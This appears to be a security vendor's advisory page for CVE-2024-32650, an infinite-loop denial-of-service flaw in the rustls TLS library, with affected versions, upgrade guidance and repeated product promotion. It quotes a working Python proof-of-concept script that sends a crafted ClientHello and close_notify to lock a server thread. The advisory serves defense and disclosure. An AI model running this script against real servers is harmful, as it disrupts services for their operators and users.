What is CVE-2024-32650?

CVE-2024-32650 is a high-severity security vulnerability in rustls (rust), affecting versions >= 0.23.0, <= 0.23.4. It is fixed in 0.23.5, 0.22.4, 0.21.11.

How severe is CVE-2024-32650?

CVE-2024-32650 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Which versions of rustls are affected by CVE-2024-32650?

rustls (rust) versions >= 0.23.0, <= 0.23.4 is affected.

Is there a fix for CVE-2024-32650?

Yes. CVE-2024-32650 is fixed in 0.23.5, 0.22.4, 0.21.11. Upgrade to this version or later.

Is CVE-2024-32650 exploitable, and should I be worried?

Whether CVE-2024-32650 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether CVE-2024-32650 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

CVE-2024-32650 in rustls

Q: How severe is CVE-2024-32650?

CVE-2024-32650 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.

Q: Which versions of rustls are affected by CVE-2024-32650?

rustls (rust) versions >= 0.23.0, <= 0.23.4 is affected.

Q: Is there a fix for CVE-2024-32650?

Yes. CVE-2024-32650 is fixed in 0.23.5, 0.22.4, 0.21.11. Upgrade to this version or later.

Q: Is CVE-2024-32650 exploitable, and should I be worried?

Whether CVE-2024-32650 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether CVE-2024-32650 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix CVE-2024-32650?

Upgrade: rustls to 0.23.5 or later, rustls to 0.22.4 or later, rustls to 0.21.11 or later.

Summary

Denial of Service Vulnerability in Rustls Library

rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.

Details

Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false

PoC

Run simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key

Run following python script

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("Fake client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.

Also note that the server thread is stuck in this infinite loop even if the client closes the socket.

Impact

This is a DOS.

A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

CVE-2024-32650 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.5, 0.22.4, 0.21.11); upgrading removes the vulnerable code path.

Affected versions

rustls (>= 0.23.0, <= 0.23.4) rustls (>= 0.22.0, <= 0.22.3) rustls (>= 0.21.0, <= 0.21.10) rustls (= 0.20)

Security releases

rustls → 0.23.5 (rust) rustls → 0.22.4 (rust) rustls → 0.21.11 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environment New to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

rustls to 0.23.5 or later; rustls to 0.22.4 or later; rustls to 0.21.11 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

What is CVE-2024-32650? CVE-2024-32650 is a high-severity security vulnerability in rustls (rust), affecting versions >= 0.23.0, <= 0.23.4. It is fixed in 0.23.5, 0.22.4, 0.21.11.
How severe is CVE-2024-32650? CVE-2024-32650 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
Which versions of rustls are affected by CVE-2024-32650? rustls (rust) versions >= 0.23.0, <= 0.23.4 is affected.
Is there a fix for CVE-2024-32650? Yes. CVE-2024-32650 is fixed in 0.23.5, 0.22.4, 0.21.11. Upgrade to this version or later.
Is CVE-2024-32650 exploitable, and should I be worried? Whether CVE-2024-32650 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether CVE-2024-32650 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix CVE-2024-32650?
- Upgrade rustls to 0.23.5 or later
- Upgrade rustls to 0.22.4 or later
- Upgrade rustls to 0.21.11 or later

Other vulnerabilities in rustls

CVE-IDSeverityPackage summary

GHSA-QG5G-GV98-5FFHMediumrustls: rustls network-reachable panic in `Acceptor::accept`